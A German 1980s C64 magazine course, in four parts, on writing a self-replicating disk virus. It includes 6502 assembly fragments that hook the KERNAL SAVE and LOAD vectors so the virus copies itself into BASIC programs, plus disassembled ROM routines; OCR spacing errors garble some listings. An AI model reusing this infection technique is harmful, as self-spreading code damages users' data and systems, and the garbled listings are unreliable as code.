Hack-Meck
Lange wurde er angekündigt - jetzt ist
er endlich da: der Virusprogrammierkurs!
In den folgenden Ausgaben möchten wir
Sie in der Rubrik Hack-Meck im Rahmen
dieses Kurses in die Funktionsweise eines Virus einführen. Am Ende werden Sie
in der Lage sein, sich einen eigenen Virus programmieren und die Anatomie eines
jeden Exemplars untersuchen zu können, um so zum Beispiel einen Viruskiller zu
einem beliebigen Virus schreiben zu können.
Doch nun gebe ich das Wort an unseren
" Virenspezialisten" :
Ich möchte an dieser Stelle darauf hinweisen, daß dies ein überaus brisantes
Thema ist, mit dem man nicht spaßen
sollte, denn ein Virus ist ein eigenständiges Programm und bösartige Viren
können verheerende Folgen haben, die
nicht zuletzt auch den Programmierer
selber treffen können!
Ich selbst bin bei der Programmierung
auf meinen eigenen Virus hereingefallen, als er sich plötzlich vor meinen Assembler gehängt hatte, weil ich vergaß, daß
er noch aktiviert war. Dieser Kurs ist
nur zur Verständlichmachung eines Virus
gedacht, nicht aber um Schaden anzurichten! Achten Sie also darauf, Ihren Virus
so zu programmieren, daß er den Benutzer
vor eventuellem Datenverlust warnt. Unser Magic Disk Virus arbeitet nach
demselben Prinzip. Sie haben sich mit
Sicherheit auch schon einmal über den
Verlust eines wichtigen Quellcodefiles
geärgert, und: was Du nicht willst, daß
man Dir tu, das füg' auch keinem andern
zu . . .
Da Sie sich ja nun hoffentlich der Gefahr eines Virus bewußt sind, möchte ich
nun endlich zur Ausführung schreiten.
Ich werde versuchen, den Kurs möglichst
leichtverständlich zu halten, doch ist
es unerläßlich, wenigstens den Assemblerbefehlssatz des C64 zu kennen. Denn
ein Virus kann nur in Assembler geschrieben werden, da er ein Programm
ist, das nahe am System arbeitet und somit nur Hand in Hand mit dem Betriebssystem des C64( bestehend aus reinem
Assemblercode) wirklich effektiv wirksam
ist.
Beginnen wir also Schritt für Schritt
mit der Planung unseres Virus, den Sie
am Ende in seiner endgültigen Version
testen dürfen. In der nächsten Ausgabe
wird er der Magic Disk 64 beigefügt
sein.
Definieren wir zunächst erst einmal den
Begriff " Virus" :
Wie mittlerweile ( nach dem BHP-Virus) überall bekannt sein dürfte, ist ein Virus ein kleines aber effektvolles Programm, das sich auf Diskette vermehrt, und zwar ganz still und leise, ohne daß
der Benutzer direkt etwas davon spürt.
Das heißt im Klartext: wird ein System
von einem Virus befallen, so versucht
dieser ( so lange wie er aktiv ist) sich
zu vermehren. Bei jeder sich bietenden
Gelegenheit versucht er, sich auf einen
Datenträger, sprich eine Diskette, zu
kopieren. Somit ist die Chance größer,
daß ein " geheiltes" System wieder infiziert wird; nämlich einfach dadurch, daß
ein infiziertes Programm gestartet wird.
Obendrein haben manche Viren auch noch
zusätzliche Funktionen, die den Benutzer
hin und wieder auf ihre Anwesenheit aufmerksam machen. Zum Beispiel kann es
vorkommen, daß plötzlich ein kleiner
Käfer über den Bildschirm krabbelt, daß
der Cursor verrückt spielt oder Ähnliches.
Meistens sind Viren sogar so hartnäckig, daß man sie nur noch mit einem brutalen
Abbruch der Stromzufuhr, sprich dem
Ausschalten des Computers, stoppen kann.
Diese typischen Merkmale eines Virus
wollen wir hier nochmal in einer Tabelle
zur besseren Übersicht zusammentragen, denn diese Funktionen soll unser kleiner
Freund später ja auch besitzen:
1)" Fortpflanzung" auf andere Disketten, um die Art zu erhalten.
2) Speicherresistenz, d.h. Schutz vor RESET und RUN/STOP-RESTORE
3) Kleiner Hinweis auf die eigene Existenz.
Beginnen wollen wir mit dem ersten und
zugleich auch schwierigsten Punkt: die
Artenerhaltung. Da dieses Thema allerdings sehr ausgedehnt ist, muß ich Sie
leider hiermit auf die nächste Ausgabe
der Magic Disk vertrösten, in der wir
dann endlich zur Praxis übergehen und
mit der Programmierung beginnen möchten.
Virus-Programmierkurs
Sicher haben Sie schon gespannt auf das
Erscheinen der Augustausgabe von Magic
Disk 64 gewartet. Denn in unserem Virus-Programmierkurs wird' s jetzt langsam
ernst. Heute wollen wir uns - wie in der
letzten Ausgabe besprochen - um die
Artenerhaltung unseres Virus kümmern, damit er auch viele kräftige und gesunde
Nachkommen haben wird!
An dieser Stelle sei noch erwähnt, daß
sich auf der Magic Disk folgende Programme befinden, die alle mit diesem
Kurs zusammenhängen:
" MD-VIRUS" ist ein infiziertes Gag-Pro- gramm, das zur Aktivierung des Virus
dient. Der Syntax-Error am Programmende
gehört so und ist kein Programmfehler!
" MDV-SOURCE" ist der Sourcecode (= Quellcode) im Hypra-Ass- Format zum Virus.
Falls Sie Hypra-Ass nicht besitzen, so
hilft Ihnen sicherlich
" MDV-SOURCE. ASC" weiter. Das ist der
Source-Code als ASCII-File gespeichert.
Dieser kann ohne Probleme mit GET# von
der Diskette gelesen und ausgedruckt
werden.
Doch nun wollen wir ans " Eingemachte" gehen und uns mit der Programmierung
selbst befassen.
Zuerst wollen wir uns überlegen, wann
die Brunftzeit ( die Zeit, an der sich
der Virus vermehrt) für unser kleines
Tierchen am günstigsten ist. Da sticht
der Vorgang des Diskettenzugriffs natürlich sofort ins Auge, denn dann ist es
am unauffälligsten, da die Diskettenstation sowieso läuft. Und außerdem teilt
uns der Programmierer bei einer solchen
Aktion auch gleich mit, wie man ein zu
infizierendes Programm beim Namen nennt.
Man muß also nicht noch aufwendig auf
der Diskette nach Programmen und deren
Namen suchen.
Gesagt - getan. Um dies zu verwirklichen, müssen wir prinzipiell nur den
Speichervorgang an sich abfangen können.
Das heißt, unser Virus muß sich immer
dann einschalten, wenn das Betriebssystem des C64 vom Benutzer dazu bewegt
wird, Daten zum Floppy zu schicken.
Dieses Problem kann sehr einfach gelöst
werden. Das Betriebssystem benutzt nämlich einen Vektor, der auf die eigentliche Save-Routine zeigt. Zur Erklärung:
Ein Vektor sind zwei Speicherzellen, deren Inhalt im Low-High- Format auf ein
entsprechendes Unterprogramm zeigt. Vektoren können mit indirekten Sprüngen
adressiert werden. Speichert man z. B. in
den Speicherzellen $1000 und $1001 die
Werte $ af und $ c0, so wird bei dem
Maschinensprachebefehl JMP ($1000) die
Adresse $ c0 af angesprungen.
Der SAVE-Vektor steht in den Speicherzellen $0332 und $0333(= dezimal 818 und
819) . Bei jedem SAVE-Befehl wird indirekt über diesen Vektor gesprungen. Ein
idealer Platz also für einen Virus, um
in das Geschehen einzugreifen. Er muß
nur bei seiner ( einmaligen) Initialisierung diesen Vektor auf eine eigene
Routine " verbiegen" . Bis zum Ausschalten
des Computers wird dann bei jedem SAVE-Befehl die eigene Routine angesprungen.
Zur Vervollständigung des Gesagten sei
noch erwähnt, daß dieser Vektor eigentlich schon mitten in der SAVE-Routine
angesprungen wird. Doch das ist für uns
nur von Vorteil, da er genau dann aufgerufen wird, nachdem alle Voreinstellungen erledigt wurden, und wir diese deswegen nicht noch selbst erledigen müssen. Um diesen Vorgang genauer zu erläutern, muß ich Ihnen zunächst die SAVE-Routine etwas näher beschreiben:
Wie Sie ja vielleicht wissen, wird die
SAVE-Routine des Betriebssystems mit dem
Befehl JSR $ FFD8 aufgerufen. Vorher muß
man aber noch einige Parameter wie Laufwerk, Programmname, Startund Endadresse etc. festlegen. Diese Parameter
werden folgendermaßen übergeben:
SETPAR setzt Geräteund Sekundäradresse SETNAM übergibt Programmnamen und - Länge Jetzt müssen Anfangsund Endadresse in
zwei Speicherzellen in der Zeropage
festgelegt werden. Am besten eignen sich
die Adressen $ FB und $ FC, da sie vom
Betriebssystem sonst nicht verwendet
werden.
Nun den Zeiger auf die erste dieser
Speicherzellen in den Akku laden, Endadresse des abzuspeichernden Bereichs in X
und Y-Register laden und SAVE aufrufen.
Damit das verständlicher wird, folgt
hier zunächst das Quellisting einer
Maschinenspracheroutine, die den Speicherbereich von $0801 bis $11 AB unter
dem Namen " DEMOSAVE" auf Diskette
abspeichert:
10 -.ba $c000 ;Basisadresse 20 -.eq save = $ffd8 ;Konstanten- 30 -.eq setpar = $ffba ;definitionen 40 -.eq setnam = $ffbd ; 50 -; 100 - lda #$01 ;Filenummer 110 - ldx #$08 ;Geräteadresse 120 - ldy #$01 ;Sekundäradresse 130 - jsr setpar ;Parameter setzen 140 - lda #$08 ;Länge des Namens
150 - ldx #<(name) ;Adresse low 160 - ldy #|(name) ;Adresse high 170 - jsr setnam ;Namen setzen 180 - ldx #$01 ;Anfangsadresse low 190 - ldy #$08 ;Anfangsadresse high 200 - stx $fb ;in $fb und $fc 210 - sty $fc ;zwischenspeichern 220 - lda #$fb ;Zeiger auf Speicher 230 - ldx #$ab ;Endadresse low 240 - ldy #$11 ;Endadresse high 250 - jsr save ;SAVE anspringen 260 - rts ;fertig! 270 -; 280 -name .tx "demosave"
Werfen wir nun einen kleinen Blick " hinter die Kulissen"- sprich ins Betriebssystem. Dabei beginnen wir an der Stelle, an der auch die SAVE-Routine
beginnt, nämlich bei Adresse $ FFD8 . Hier
ein kleiner Auszug, wie Sie ihn sich mit
einem Disassembler bzw. Speichermonitor
auch " live" ansehen können:
FFD8 JMP $ F5 DD
Es wird also nur ins Innere des Systems
weitergesprungen. Dort verfolgen wir das
Betriebssyetem weiter:
F5 DD STX $ AE ; Low-Byte Endadresse speichern
F5DF STY $AF ;High-Byte Endadresse speichern F5E1 TAX ;Zeiger auf Anfangs- adresse ins X-Register F5E2 LDA $00,X ;Low-Byte der Anfangs- adresse holen F5E4 STA $C1 ;und speichern F5E6 LDA $01,X ;dasselbe mit dem F5E8 STA $C2 ;High-Byte F5EA JMP ($0332);Save-Vektor
Sie sehen, daß erst in der letzten Zeile
auf die SAVE-Routine verzweigt wird. Die
übrigen Zeilen sind nur dazu da, die Parameter für später zwischenzuspeichern.
Hier also ist der Punkt, an dem unser
Virus eingreifen darf. Er sollte somit
auch alle Funktionen übernehmen, die das
Betriebssystem normalerweise ausführt, nur daß er sich zusätzlich auch noch
mitspeichert. Um herauszufinden, was
genau er da tun soll, verfolgen wir die
normale Saveroutine weiter:
Einsprung über Vektor $0332/$0333 von
$ F5 EA:
F5 ED LDA $ BA ; Geräteadresse laden F5 EF BNE $ F5 F4 ; wenn <|0 dann weiter F5 F1 JMP $ F713 ;" ILLEGAL DEVICE NUMBER ERROR" ausgeben F5 F4 CMP #$03 ; vergleiche mit Bild-
schirmcode F5F6 BEQ $F5F1 ;wenn ja, dann Fehler F5F8 BCC $F659 ;wenn <3, dann Sprung zu Test auf RS232 oder Cassette F5FA LDA #$61 ;Sekundäradresse F5FC STA $B9 ;zwischenspeichern F5FE LDY $B7 ;Filenamenlänge holen F600 BNE $F605 ;|0, dann weiter F602 JMP $F710 ;"MISSING FILE NAME ERROR" ausgeben F605 JSR $F3D5 ;Filename auf IEC-Bus F608 JSR $F68F ;"SAVING" ausgeben F60B LDA $BA ;Geräteadresse laden F60D JSR $ED0C ;und LISTEN senden F610 LDA $B9 ;Sekundäradresse holen F612 JSR $EDB9 ;und für LISTEN senden
F615 LDY #$00 ; Zähler auf 0 setzen F617 JSR $ FB8 E ; Startadresse nach $ AC/$ AD kopieren F61 A LDA $ AC ; Startadr.- Low laden F61 C JSR $ EDDD ; und senden F61 F LDA $ AD ; Startadr.- High laden F621 JSR $ EDDD ; und senden
Ab hier ( also ab $ F624) folgt noch eine
kleine Routine, die jedes Byte bis zur
Endadresse durchgeht, mit der Routine
bei $ EDDD an die Floppy sendet und anschließend das File wieder schließt und
zurückspringt.
Wie Sie sehen, ist der erste Teil nur
dazu da, die Geräteadresse zu überprüfen
und die entsprechenden Fehlermeldungen
auszugeben. Anschließend kommt erst der
Anfang der eigentlichen Saveroutine.
Hier wird dann das " saving" ausgegeben
und der Floppykanal geöffnet. Bis zur
Adresse $ F617 alles Dinge, die für uns
unwichtig sind, und die wir auch einfach
in unserem Virus übernehmen werden, damit er auch voll kompatibel zum
Betriebssystem ist.
Erst ab $ F61 A wird es für uns interessant. Hier werden nämlich Lowund Highbyte der Anfangsadresse des zu savenden
Bereichs an die Floppy geschickt, damit
die Loadroutine später weiß, wohin sie
das eingeladene Programm legen soll.
Dieser Teil ist deshalb so wichtig für
uns, weil wir unseren Virus grundsätzlich nur vor Programme kopieren lassen
wollen, die an den normalen Basicstart
( also $0801) geladen werden, da man hier
davon ausgehen kann, daß das entsprechende Programm mit RUN gestartet werden
muß. Würde sich der Virus auch vor
Maschinenprogramme kopieren, die beispielsweise bei $ C000 anfangen, dann
könnte das verheerende Folgen haben, da
er selbst ja ein mit RUN startbares Programm ist und man ihn nicht einfach mit
einem SYS starten kann.
Also müssen wir an dieser Stelle überprüfen, an welcher Stelle sich das zu
savende Programm befindet. Ist das nicht
$0801, so hält sich unser Virus schön
brav im Hintergrund und tut gar nichts.
Ist es aber ein Programm, das bei $0801 beginnt, so soll er sich mitkopieren.
Also bauen wir an dieser Stelle noch ein
paar Vergleichsbefehle ein:
LDA $AC ;Lo-Byte Anfangsadresse CMP #01 ;= $01? BEQ LAB1 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB1 JSR $EDDD ;Lo-Byte senden LDA $AD ;Hi-Byte Anfangsadresse CMP #$08 ;= $08?
BEQ LAB2 ;Ja, dann Byte senden LDY #$01 ;Flag setzen LAB2 JSR $EDDD ;Hi-Byte senden CPY #$01 ;Flag gesetzt? BNE OKAY ;nein, also vermehren! LDY #$00 ;Ja, Y zurücksetzen JMP $F624 ;normal weitersaven
Hier die genaue Funktionsweise: Das Y-Registerwurde bei $ F615 ja mit 00 geladen. Sollte jetzt bei einem Vergleich ein Wert ungleich dem verglichenem Wert sein, so wird das Y-Register mit dem Wert 01 beschrieben und erst dann das Byte gesendet. In der Folge wird dann verglichen, ob das Y-Register noch 0 ist. Ist das der Fall, so darf sich der
Virus kopieren. Ansonsten verzweigt das
Programm in die normale Saveroutine.
In dieser Form konnten wir die Assemblerbefehle bisher aus dem Betriebssystem
übernehmen. Jetzt müssen wir auch einmal
etwas eigenes leisten, nämlich eine Routine schreiben, die den Virus an die
Floppy sendet. Bis jetzt sind der Floppykanal geöffnet und die Startadresse
übergeben. Normalerweise würde jetzt das
zu savende Programm kommen, doch das
soll ja gerade nicht der Fall sein. Wir
müssen zuerst den Virus an die Floppy
senden und dann das eigentliche Programm. Dieses Problem lösen wir folgendermaßen:
OKAY LDA #<(DATA) ;Lo-Anfangsadresse STA $FB ;des Virus setzen LDA #|(DATA) ;dasselbe mit dem STA $FC ;Highbyte LDA #<(ENDE) ;Lo-Endadresse STA $F9 ;setzen LDA #|(ENDE) ;dasselbe mit dem STA $FA ;Highbyte LDY #$00 ;Zähler löschen LOOP LDA ($FB),Y ;Zeichen laden JSR $EDDD ;und senden JSR INCCOUNT ;Zähler um 1 erhöhen BCC LOOP ;Weiter, wenn noch nicht Endadresse JSR SAVECONT ;Wenn doch, dann Programm saven
Zur Dokumentation: Am Anfang setzen wir
Startund Endadresse. Die Endadresse
hinterlegen wir in $ F9/$ FA, da die
INCCOUNT-Routine diese Werte zum Vergleichen braucht. Diese Routine steht in
unserem Source-Listing übrigens ab Zeile
8210 und soll an anderer Stelle näher
erläutert werden. Soviel sei aber schon
hier gesagt:
Die Routine erhöht den Zeiger in $ FB/$ FC und vergleicht ihn mit der Endadresse, die wir ja in $ F9/$ FA abgelegt
haben. Sind beide Adressen gleich, so
setzt sie das Carryflag, womit die Abfrage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so ist das
Ende noch nicht erreicht und die
Schleife wird wiederholt. Im Anschluß
wird dann wieder die normale Saveroutine
des Betriebssystems angesprungen, um das
eigentliche Programm abzuspeichern. In
der Konstanten SAVECONT ist die Zahl
bzw. Adresse $ F624 gespeichert.
Hiermit sind wir am Ende des zweiten
Teils des Virusprogrammierkurses angelangt. Die oben beschriebene Saveroutine
finden Sie ab Zeile 2220 im Sourcelisting, allerdings mit zwei kleinen
Abweichungen. Die eine hat mit der Vermehrung beim Laden zu tun, die wir nächsten Monat besprechen wollen. Und die
andere ist für den kleinen Gag zuständig, mit dem der Virus auf sich aufmerksam machen soll.
Bis zum nächsten Teil bleibt uns nur
noch, Ihnen viel Spaß in Ihrer Aktivität
als Virologe zu wünschen.
Viruskurs, 3.Teil
Endlich geht es weiter. Der 3 . Teil
unseres Viruskurses liegt vor Ihnen!
Heute geht es um die Vermehrung beim
Laden, die sich von der beim Saven, wie
wir sie ja letzten Monat besprochen
haben, nur geringfügig unterscheidet.
Wie gesagt kann sich unser kleiner
Freund mittlerweile auch schon vermehren.
Dies tut er, indem er sich sozusagen
über einen Vektor in die Saveroutine des
Betriebssystems ' einklinkt' und diese
steuert.
Genau wie bei einem richtigen, biologischen Virus, greift er in die DNA
( Datenstruktur einer Zelle, in der alle
Informationen über den Körper, zu dem
die Zelle gehört, gespeichert sind) seines Rechners ( also dem Betriebssystem) ein, und ändert sie so ab, daß sie
seiner Fortpflanzung dient.
Der Trick dabei ist, daß er bei seinem
' Erwachen', sprich seinem Aufruf, einen
Vektor, der auf die Saveroutine zeigt, auf seine eigene Saveroutine verbiegt.
Dieser Vektor war für die Saveroutine
der Vektor bei $0332/$0333 .
Für die Loadroutine ist dieser Vektor
bei $0330/$0331 . Und auch über diesen
Vektor wird unser Virus aktiv, das
heißt, er erwacht ebenfalls, wenn man
ein Programm laden will, und auch hier
muß er, wie beim Saven auch, alle Arbeit
allein tun, d. h. wir müssen uns zuerst
einmal die Struktur der Loadroutine
ansehen, um den Virus auch die richtigen
Anweisungen geben zu können.
Nun, wie wir ja wissen, hat die Loadroutine auch ihren Platz im Betriebssystem, nämlich ab Adresse $ FFD5 . Ab dieser
Adresse folgt nun ein Memory-Dump, so
wie wir das auch bei der Saveroutine
praktiziert haben:
FFD5 JMP $ F49 E
Auch hier wird einfach nur in das ' In-
nere' des Betriebssystemroms hineingesprungen. Dies ist übrigens eine Einrichtung, die Commodore bei allen ' kleinen' Homecomputern eingeführt hat.
Es handelt sich dabei um eine Sprungtabelle am Ende des Betriebssystems, in
der Routinen angesprungen werden, die
auf allen Rechnern dieselbe Funktion
erfüllen, aber bei jedem Rechner an
einer anderen Stelle stehen.
So kann man mit dem selben JMP-Befehl
z. B. auch die LOAD-Routine des C16 oder
des VC20 anspringen, da dann ab der
Adresse $ FFD5 auf die entsprechende
Routine des Rechners gesprungen wird.
Dies hat man getan, um Programme teilweise kompatibel zu machen, somit ist
das Umschreiben von Assemblerroutinen
einfacher ( soweit die Hardware dies
erlaubt), da man nicht die einzelnen
Sprungadressen verändern muß.
Nun aber weiter bei unserem Virus, werfen wir doch jetzt einmal einen Blick
nach $ F49 E:
f49e stx $c3 ;Startadresse f4a0 sty $c4 ;merken f4a2 jmp ($0330) ;jmp $f4a5
Sie sehen, auch hier eine Parameterzwischenspeicherung, bevor über den Vektor
auf die Loadroutine gesprungen wird.
Da sich in dem Vektor normalerweise die
Werte $ A5 und $ F4( in $0330 und $0331) befinden, wird hier auch auf Adresse
$ F4 A5 gesprungen. Die Befehle ab hier
sollten also auch von unserem Virus ausgeführt werden:
f4a5 sta $93 ;LOAD/VERIFY-Flag merken f4a7 lda #$00 ;Status f4a9 sta $90 ;löschen f4ab lda $ba ;Geräteadresse laden f4ad bne $f4b2 ;ungleich 0, also weiter f4af jmp $f713 ;'ILLIGAL DEVICE NUMBER' ;ausgeben f4b2 cmp #$03 ;vergleiche mit Code ;für Bildschirm
f4 b4 beq $ f4 af ; Ja, dann Fehler!
feb6 bcc $ f533 ; kleiner 3, dann vom ; Band *********** Ab hier IEC-Load ***********
f4b8 ldy $b7 ;Länge des Filenamens ;laden f4ba bne $f4bf ;ungleich 0, dann ok. f4bc jmp $f710 ;'MISSING FILENAME' ;ausgeben f4bf ldx $b9 ;Sekundäradresse laden f4c1 jsr $f5af ;'SEARCHING FOR' und ;Filename ausgeben f4c4 lda #$60 ;Sekundäradresse 0 f4c6 sta $b9 ;laden und merken f4c8 jsr $f3d5 ;File auf IEC-Bus ;öffnen
f4 cb lda $ ba ; Gerätenummer laden f4 cd jsr $ ed09 ; und TALK senden f4 d0 lda $ b9 ; Sekundäradresse laden f4 d2 jsr $ edc7 ; und senden f4 d5 jsr $ ee13 ; Byte vom IEC-Bus holen f4 d8 sta $ ae ; als Startadresse-LO ; speichern
An dieser Stelle ist es wichtig, daß
unser Virus sich wieder einschaltet. Er
muß nämlich nun wieder testen, ob es
sich hierbei um ein File handelt, daß ab
$0801 geladen wird.
Sie errinnern sich - wir hatten ja vor, den Virus so zu schreiben, daß er keinerlei Daten zerstören kann. Dies könnte
er tun, wenn er ein File infiziert, das
nicht ab $0801 geladen wird.
Da er ja mit RUN gestartet werden muß, und bei Files, die nicht an diese Adresse geladen werden, mit ziemlicher Wahrscheinlichkeit damit gerechnet werden
kann, daß sie auch nicht mit RUN gestartet werden, sondern meist Maschinenprogramme sind, die mit SYS-Befehlen
aufgerufen werden.
Das obige Listing entspricht nun bis
jetzt haargenau unserem Quellcodelisting
ab Zeile 1150-1480( diese Befehle ändern
sich ja nicht, trotzdem muß sie der
Virus ausführen, also übernehmen wir sie
einfach) . Nun folgen mehrere Befehle, durch die der Virus testet, ob das
momentan zu ladende File bei $0801 beginnt:
1400 - cmp #01 ;vergleiche LO-Byte- ;Startadr. mit 01 1410 - bne cbmload1 ;ungleich, dann mit ;Betriebssystem ;normal weiterladen
Hier wird nun verglichen, ob das LO-Byte
der Anfangsadress ($0801) übereinstimmt.
Ist dies nicht der Fall, so wird einfach
weiterverzweigt auf einen JMP $ f4 da, dieser Befehl steht im Sourcecode in
Zeile 1580 .
Nun weiter im Listing, das ab nun wieder
ein kleines Stück des Betriebssystems
enthält:
1420- :
1430 - lda $90 ;Status laden 1440 - lsr ;Bit 1 ins Carry 1450 - lsr ;schieben 1460 - bcs loaderror ;falls gesetzt, ;dann Timeout ;(Ladefehler) 1470 - jsr $ee13 ;Startadresse-HI 1480 - sta $af ;holen und merken
Eigentlich nur ein kleiner Errorcheck, also ob beim Diskzugriff nicht doch ein Busfehler aufgetaucht ist. Die Verzweigung auf das Label LOADERROR ist eine Verzweigung auf ein JMP $ F704 . Diese
Routine gibt schlicht und einfach ein
' FILE NOT FOUND' aus.
Der Sprungbefehl steht im Quellcodelisting in Zeile 1560 .
Solche Branch-Verzweigungen auf Sprungbefehle sind übrigens unbedingt notwendig, da bei Branch-Verzweigungen grundsätzlich nur um 128 Bytes jeweils in den
vorangehenden, oder in den nachfolgenden
Speicher gesprungen werden kann.
Ab Zeile 1470 haben wir nun wieder die
Befehlssequenz, die ein Byte holt und es
als Startadresse-HI zwischenspeichert.
Hier nun also wieder unsere gewohnte
Vergleichssequenz, ob also, nachdem das
LO-Byte mit $0801 übereinstimmte, dies
auch bei dem HI-Byte zutrifft ( hätte das
LO-Byte nicht gestimmt, dann würde jetzt
sowieso schon die LOAD-Routine im
Betriebssystem weiterarbeiten. . .) .
1500 - cmp #08 ;vergleiche mit 8 1510 - bne cbmload2 ; wenn nein, dann ;weiter im ;Betriebssystem 1520 - jsr $f4e5 ;springe auf rest- ;liche Loadroutine 1530 - bcc inftest ;Wenn kein Fehler, ;dann weiter, 1540 - rts ;andernfalls Ende 1550 -;******************************** 1560 -loaderror jmp $f704 1570 -xf533 jmp $f533 1580 -cbmload1 jmp $f4da
1590 -cbmload2 jmp $f4e5 1600 -;********************************
Nach unserem Vergleich wird auf die
restliche Loadroutine als Unterroutine
( JSR) gesprungen, um das File ganz
schlicht und einfach von Disk zu laden.
Wenn aus der Loadroutine zurückgekehrt
wurde, geht es weiter mit einem Test, ob
während des Ladens ein Fehler aufgetreten ist ( die Loadroutine gibt ein gesetztes Carrybit zurück, sollte ein
Fehler aufgetreten sein) .
Wenn ein Fehler aufgetreten ist, dann
wird einfach wieder zurückgesprungen, und der Virus bleibt friedlich.
Ist kein Fehler aufgetreten, wird zur
nächsten Routine verzweigt.
Sie heißt INFTEST und beginnt ab Zeile
1610 .
Das, was nun weiter geschehen wird, wollen wir in der nächsten Ausgabe
besprechen.
Der weitere Verlauf ist zwar relativ
einfach zu erläutern, doch muß ich Ihnen
noch einige Hinweise auf ein Routine am
Anfang der Loadroutine geben.
Ich verabschiede mich nun also bis zum
nächsten Monat und wünsche weiterhin ein
' Allzeit, gut Hack!'
Virenprogrammierkurs
Nach einem Sommermonat langen Wartens ist er nun endlich da: Der 4 . Teil des Virenprogrammierkurses!
Heute geht es wieder um das komplexe Thema der Fortpflanzung beim Laden.
Wie schon im letzten Teil erwähnt fehlt uns nur noch
der Rest der LOAD-Vermehrung und noch eine kleine
Routine, die am Anfang der Virus-Load- Routine steht.
Und um genau diese Routine geht es heute.
Sie erinnern sich: Wir hatten gesagt, daß wir alle
Befehle aus dem Betriebssystem übernehmen wollen, so
daß die ganz normale LOAD-Routine ausgeführt wird, mit dem Unterschied, daß sich unser Virus dann hinzuschalten kann, wann ER möchte! Dies muß er schon
gleich am Anfang tun, nämlich dort, wo über den Vektor in die LOAD-Routine eingesprungen wird, und zwar, um sich den Filenamen des Programms zu merken, daß
geladen werden soll. Dieser wird normalerweise ja
schon von Basic irgendwo im Speicher abgelegt.
Anschließend übergibt BASIC der LOAD-Routine die Adresse und Länge des Filenamens mit Hilfe der SETNAM-Routine. Diese steht im Betriebssystem bei $ FFBD und wird folgendermaßen aufgerufen:
X-Register: LO-Byte der Adresse des Filenamens Y-Register: HI-Byte der Adresse des Filenamens Akku : Länge des Filenamens
Zum besseren Verständnis hier ein Beispiel:
8000 LDA #$04 8002 LDX #$0A 8004 LDY #$80 8006 JSR $FFBD 8009 RTS 800A .TX "NAME"
Es werden also die Adresse des Filenamens ( hier:
$800 A) und die Länge des Filenamens ( hier 4) übergeben.
Die Routine SETNAM macht nun nichts anderes, als
diese Werte, die ja nachher beim Laden wichtig sind, in drei Speicherzellen in der Zeropage zwischenzuspeichern. Diese Speicherzellen sind $ BB und $ BC für
die Namensparameter. In Speicherzelle $ B7 wird die
Länge des Namens zwischengespeichert. Leider bleiben
diese Werte dort nicht bis in alle Ewigkeiten stehen.
Sie gehen im Laufe der LOAD-Routine verloren, da
diese Speicherzellen noch anderweitig verwendet werden. Der Filename z. B. wird vom Betriebssystem an das
Ende des normalen Basic-Arbeitsspeichers gelegt. Und
dort ist er leider nicht genug geschützt. Ein langes
Programm überschreibt ihn einfach beim Laden. Wir
müssen uns diese Werte und den Filenamen also
" merken", bevor wir die LOAD-Routine auf diese
Bereiche loslassen.
Und genau das tut unsere kleine Routine von Zeile
1020 bis 1130 . Wie immer folgt nun eine kleine Dokumentation, die Ihnen die Funktion der Routine erläutern soll:
1020 -LOAD PHA ;Akku retten 1030 - LDA FILELO ;LO-Adresse des 1040 - STA $FB ;Namens setzen 1050 - LDA FILEHI ;HI-Adresse des 1060 - STA $FC ;Namens setzen 1070 - LDY FILELENG ;Länge des Namens 1080 - STY LENGNAM ;setzen 1090 -LOOP2 LDA ($FB),Y ;Name kopieren 1100 - STA NAMEBUFF+2,Y 1110 - DEY ;Zähler vermindern 1120 - BPL LOOP2 ;Fertig? 1130 - PLA ;Akku zurückholen
In Zeile 1020 wird erst einmal der Akku auf den Stapel geschoben, da wir seinen Inhalt später wieder
brauchen. Um dies verständlich zu machen, muß man zuerst einmal wissen, welche Parameter die LOAD-Routine
beim Aufruf benötigt.
Ähnlich wie bei der SAVE-Routine müssen der LOAD-Rou- tine zuerst Filename, Filenummer, Geräteund Sekundäradresse des zu ladenden Files übergeben werden.
Dies geschieht, wie schon bei der SAVE-Routine, durch
die Betriebssystemroutinen SETPAR ($ FFBA) und SETNAM
($ FFBD), welche wir ja schon beschrieben hatten. Anschließend kann erst die LOAD-Routine aufgerufen werden, und zwar mit den folgenden Parametern:
Xund Y-Register enthalten die Startadresse des Programms, das geladen werden soll.
Der Akku dient als LOAD/ VERIFY-Flag.
Wie wir ja vom letzten Teil des Kurses noch wissen, werden die Werte aus X und Y schon von der " Vorroutine" des Betriebssystems bei $ F49 E zwischengespeichert, so daß deren Inhalt unwichtig wird und wir somit diese Register verwenden dürfen. Nur im Akku
steht noch eine Information, die ebenfalls nicht verloren gehen darf, aber erst später vom Betriebssystem
zwischengespeichert wird. Im Akku steht nämlich eine
Information, die dem Betriebssystem sagt, ob ein LOAD
oder nur ein VERIFY erfolgen soll.
Steht im Akku eine 0, so wird ein Programm ordnungsgemäß geladen. Bei einer 1 allerdings wird nur das
Programm auf der Diskette mit dem derzeitigen Speicherinhalt verglichen, eben die VERIFY-Funktion ausgeführt. Logischerweise müssen wir also den Akku erst
einmal auf den Speicher retten.
Weiter nun mit unserer Routine ab Zeile 1020 :
Nachdem nun der Akku endlich benutzbar wurde, werden
als Erstes die Zwischenspeicherbytes der Adresse des
Filenamens in die Adressen $ FB und $ FC umkopiert.
Diese beiden Adressen befinden sich, wie Sie ja sehen
( es werden nur 8 Bit benutzt), auch in der Zeropage.
Sie sind zusammen mit den zwei folgenden Bytes $ FD
und $ FE eine der Ausnahmen, die nicht vom Betriebssystem benutzt werden, sondern dem Assemblerprogrammierer zur freien Verfügung stehen.
Wir wollen mit Hilfe der indirektindizierten Adressierung den Filenamen auslesen.
Dies geschieht über einen Zeiger, den wir soeben
durch unsere " Umkopiererei" ins Leben gerufen haben.
Vorher sichern wir aber zuerst noch die Länge des
Filenamens in einem Variablenbyte ( LENGNAM) . Dieses
wurde im Assemblerquelltext definiert, und zwar als
6 . Byte vor Beginn des Programms, ähnlich wie bei
einigen weiteren Laufvariablen, die hauptsächlich von
dem Gag-Programm am Ende verwendet werden. Übrigens:
Die Namen FILELO, FILEHI und FILELENG sind Konstanten
und ebenfalls am Anfang des Quelltextes definiert.
Sie stehen für die Zwischenspeicherbytes des Filenamens.
Anschließend wird nun der Filename umkopiert. Einen
Zähler für die Länge des Filenamens haben wir ja noch
vom Umkopieren im Y-Register stehen. Also brauchen
